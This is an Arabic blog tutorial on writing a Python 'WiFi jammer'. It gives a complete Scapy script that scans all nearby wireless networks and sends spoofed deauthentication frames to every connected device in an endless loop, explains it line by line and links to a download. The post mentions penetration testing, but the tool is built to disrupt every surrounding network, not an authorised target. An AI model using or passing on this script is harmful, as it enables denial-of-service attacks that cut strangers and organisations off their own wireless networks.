إستخدام Python في برمجة سكربت للتشويش على الشبكات اللاسلكية

اخر تحديث في مايو 27, 2023 بواسطة حمدي بانجار

إستخدام Python في برمجة سكربت للتشويش على الشبكات اللاسلكية هو موضوعنا اليوم في موقع حضرموت التقنيه

ففي الأيام الأخيره يتحدث الكثيرين على العديد من الأشياء التي يُمكن أن نقوم ببرمجتها بإستخدام لغة Python والتي بالتأكيد تتعلق بمجال أمن المعلومات وإختبار الإختراق

حيث أن مختبري الإختراق المحترفين يقومون ببرمجة العديد من الأدوات الخاصة به والتي يستخدمها في عمليات الإختبار المُختلفة

حيث بالتأكيد تساعده على فهم للعملية التي يقوم بها ، وتمكنه من خيارات عديده في عملية التعديل عليها وإضافة خواص تساعدة في هذه العملية أو الوظيفة التي يقوم بها بشكل أساسي في إختبار الإختراق مهما إختلفت طبيعتها.

 

إستخدام Python في التشويش:-

واليوم سوف نتكلم عن موضوع شيق ورائع، حيث سنتعرف على كيفية إستخدام Python في برمجة سكربت للتشويش على الشبكات وسنقوم بعمل أداة بسيطة جدا لتقوم بالتشويش على الشبكات المُحيطة بك وفصل الأجهزة المُتصلة بهذه الشبكة مع العلم أنه توجد بعض الأدوات التي تقوم بذلك بشكل تلقائي

واليوم سوف نقوم ببرمجة سكربت يقوم بهذه العملية ، حيث سنقوم بالتشويش على جميع الشبكات المُحيطة بك بضغطة زر واحده عن طريق إستخدام إسكربت تمت برمجته بإستخدام لغه  بايثون Python

إستخدام Python في برمجة سكربت للتشويش على الشبكات اللاسلكية:-

 

إستخدام Python في برمجة سكربت للتشويش

 

 

اولا يجب أن تفهم ألية وطريقه عمل فكرة التشويش وكيف تستطيع قطع إتصال الأجهزة الموجوده حولك بكل سهولة حتى تستطيع إستخدام Python في برمجة سكربت للتشويش

فكما نعلم أنه عندما تريد فصل الإتصال الخاص بك يجب أن تقوم بإرسال طلب للراوتر تخبره بأنك تريد قطع الإتصال ، وهُنا سوف نقوم بعمل إنتحال للـماك أدرس MAC Address للجهاز المتصلين بالشبكة والذي نُريد أن نقوم بالتشويش عليه

حيث سوف نرسل Deauthentication packet مزيفة من الجهاز الخاص بنا تحتوي على عنوان الماك الخاص بالجهاز الذي سوف نقوم بالتشويش عليه ، وأيضاً عنوان الماك الخاص بالروتر الذي سوف يستقبل هذا الطلب.

يمكنك تحميل الإسكربت  من  موقع Github من خلال هذا الرابط من هنا وهذه الصورة تُوضح كود الأداه :-

 

 

#!/usr/bin/python
###################################################################
#
#                      Python Wifi Jammer
#                       @mohammadaskar2
#                    http://www.isecur1ty.org
#
###################################################################
from scapy.all import *
from wifi import Cell
import time
import wireless

wifi1 = wireless.Wireless()
interface = wifi1.interface()

all_wifi = Cell.all(interface)
#print "SSID\t BSSID\t Channel\t Power\t"
print "[+] scannig for networks .."
bssid = []
time.sleep(2)
for wi in all_wifi:
 print "SSID is    : "  +    wi.ssid 
 print "BSSID is   : "  +    wi.address
 print "Channel is : "  +    str(wi.channel)
 print "Quality is : "  +    str(wi.quality)
 print "+" * 20
 bssid.append(wi.address)
 time.sleep(0.5)

print "#" * 70

def jam(address):
 conf.iface = "mon1"
 bssid = address   
 client = "FF:FF:FF:FF:FF:FF" #
 count = 3 
 conf.verb = 0
 packet = RadioTap()/Dot11(type=0,subtype=12,addr1=client,addr2=bssid,addr3=bssid)/Dot11Deauth(reason=7)
 for n in range(int(count)):
	sendp(packet)
        print 'Deauth num '+ str(n)  +  ' sent via: ' + conf.iface + ' to BSSID: ' + bssid + ' for Client: ' + client
while True:
 for item in bssid: 
  print "Jamming on : {0}".format(item)
  jam(item)

 

توضيح : 

أولاً سوف نحتاج جمع جميع الشبكات بشكل أوتوماتيكي لغرض التعرف عليها ، بعد ذلك سوف

نقوم بجمع عناوين Bssid الخاصة بجميع الشبكات ووضعها كلاً على حده لكي نقوم بالتواصل معها

لأنه كما ذكرت فنحن نحتاج عنوان الماك الخاص بالشبكة لكي نقوم بإرسال الحزمة المزوره لها ، بعد ذلك سوف نحتاج لضبط كارت الوايرليس الخاص بنا على Monitor Mode ، بعدها سوف نقوم بتجهيز الحزمة حيث سوف نقوم بإستخدام  باكيت Scapy في هذه العمليه

بعد تجهيز الحزمة ستقوم أخيراً بإرسالها بعدد معين إلى جميع الشبكات لنضمن قيامها بفصل

جميع الأجهزة الموجوده بالشبكه من خلال عمل Brodcast وبث الحزم لجميع الأجهزة المُتصلة وبهذا نكون قد فصلنا جميع الأجهزة المُتصلة حولنا وقمنا بالتشويش عليها.

 

شرح الإسكربت :

 

في بداية السكربت من السطر 9 إلى السطر 12 نقوم بإستدعاء المكتبات التي سوف نحتاجها وهي :

المكتبات المستخدمه :-

  • مكتبه Scapy :- لإعداد الحزمة المراده وإرسالها
  • مكتبه wifi :- لإظهار جميع الشبكا
  • مكتبه time :- لضبط أمور التوقيتات
  • مكتبه wireless :- سوف نحتاجها في عملية كشف interfaces الموجوده بالجهاز.

السطر 14 و 15 نقوم بمعرفة  الواجهه الرئيسيه حيث سوف نقوم بإستخدامه في عملية جمع المعلومات الخاصة بالشبكات الموجوده حولنا

السطر 17 نقوم بإستخدام طريقه Cell.all  لكي نقوم بجمع جميع الشبكات المُحيطة بنا وتخزينها

على شكل قائمه حتى يتم التعامل مع كل شبكة

السطر 19 نقوم بطباعة الجُملة كما نرى ، والسطر 20 نقوم بعمل قائمه إسمها bssid وسوف

نقوم بوضع جميع عناوين bssid الخاصة بِكُل شبكة

والسطر 21 نقوم بتأخير تنفيذ السطر التالي لمُدة ثانيتين من خلال time.sleep ومن السطر 22 إلى السطر 29 نقوم بتمرير جميع الشبكات التي وجدناها وبالسطر 17 والتعامل مع كُل شبكة على حدى

حيث نطبع عنوان ssid وعنوان bssid والقناة وكذلك قوة وجودة الإتصال مع الشبكة ، وبالسطر 28

نقوم بعمل إضافه على bssid list حيث نقوم بإضافة عنوان bssid الخاص بالشبكة داخلها

الأن أصبح لدينا قائمه كاملة بجميع عناوين الــ bssid الخاصة بالشبكات ، حيث سوف نقوم بإستخدامها للتواصل مع الشبكة وإرسال حزمة Deauthentication  لها

بعد ذلك بالسطر 33 قمنا بتعريف Function حيث قمنا بتسميتها بـ Jam حيث تأخذ المتغير

address والذي بطبيعة الحال سوف يكون هو عنوان bssid الذي جمعناه ووضعناه داخل bssid List

السطر 34 نقوم بتعريف كارت الوايرليس أو “interface” والذي يجب أن يكون مفعل بوضعية Monitor Mode وفي حالتنا هو mon1 ،

بعد ذلك قمنا بتعريف bssid على أنه المُتغير الذي تأخذه الدالة Jam ، ويليه المُتغير Client حيث

هو عنوان Mac Address الخاص بالهدف ، ونستطيع إستخدام “FF:FF:FF:FF:FF:F” لعمل Broadcast كما ذكرنا

في السطر 37 قُمنا بتعريف المُتغير count المسؤول عن عدد الحزم التي سوف يتم إرسالها للشبكة الواحده ،

حيث انه تم تحديد 3 حُزم فقط ، وبالسطر 38 قمنا بضبط Scapy verbose بالقيمة 0 لكي لا يتم

عرض أي معلومات من قبل Scapy على الشاشة

في السطر 39 نقوم بتجهيز المُتغير packet بالحزمة المراده وضبطها وإعدادها بشكل عام لكي

تقوم بإرسال Deauthentication packet من وإلى العناوين التي تكلمنا عنها

ويمكنك الإطلاع على  Scapy أكثر للك تتعرف على الكثير من الأمور حول هذا الموضوع ومواضيع

أخرى متعلقه بالتعامل مع الشبكات من خلال Scapy

من السطر 40 وإلى السطر 42 نقوم بعمل حلقة بعدد الشبكات التي تم إكتشافها ومن ثم نقوم

بإستخدام sendp في السطر 41 لإرسال packet التي تم تعريفها مُسبقاً من خلال المُتغير packet ،

حيث سوف ترسل الحزمة بناءاً على ما سبق ، والسطر 42 يقوم بطباعة المعلومات التي تم الإرسال إلي الشبكه

وأخيراً من السطر 43 إلى السطر 46 نقوم بتشغيل while loop مُستمرة ، ونقوم بسحب جميع

عناوين Bssid الخاصة بالشبكات من خلال تعريف مُتغير item وسحبها بإستخدام for loop من

Bssid List وفي السطر الاخير 46 نقوم بإستدعاء الدالة Jam وتمرير المُتغير item كعنوان bssid وتنفيذ ما سبق عليه.

صور توضح ماذا يحدث عند تشغيل الإسكربت :-

 

وكما نرى بهذه الصورة فور تشغيل البرنامج قام بإظهار جميع الشبكات الموجوده بالقرب منك

إستخدام Python في برمجة سكربت للتشويش

 

وهذه الصورة توضح كذلك بأنه يتم إرسال الحزم بشكل صحيح إلى الهدف :

 

إستخدام Python في برمجة سكربت للتشويش

 

رابط تحميل الأداه :- https://github.com/iSecur1ty/wifi-jammer/blob/master/jammer.py

 

وإلى هنا نكون قد وصلنا إلى نهايه موضوعنا اليوم والذي كان بعنوان إستخدام Python في برمجة سكربت للتشويش على الشبكات اللاسلكية

وإذا أعجبك موضوع إستخدام Python في برمجة سكربت للتشويش على الشبكات اللاسلكية فلا

تبخل علينا بمشاركته على مواقع التواصل الإجتماعي لليستفيد منه غيرك وأيضا يمكنك الإشتراك في قناه الموقع على اليوتيوب من هنا لليصلك كل فيديوهاتنا

كما يمكنك الإنضمام إللى جروب الموقع على الفيسبوك من هنا وأيضا الإشتراك في قناه الموقع على التليجرام  من هنا

وكذلك يمكنك التسجيل في موقع حضرموت التقنيه للتحميل الكثير من الملفات بجانب إمكامك من نخزين ملفاتك على الإنترنت على الموقع  مجانا وللتصبح جزء من مجتمعنا التقني

حول أحمد أبو جمال

كاتب ومدون محترف لدى حضرموت التقنية ومؤسس موقع علوماوي، يهدف لتبسيط المعلومات العلمية والتقنية للعالم العربي أجمع.

تحقق أيضا

طرق لحماية الشبكات من الإختراق

حماية الشبكات من الإختراق وإستكشاف أمان الشبكة بنجاح – افضل 8 طرق لفعل ذلك

اخر تحديث في مايو 27, 2023 بواسطة حمدي بانجار حماية الشبكات من الإختراق من أهم …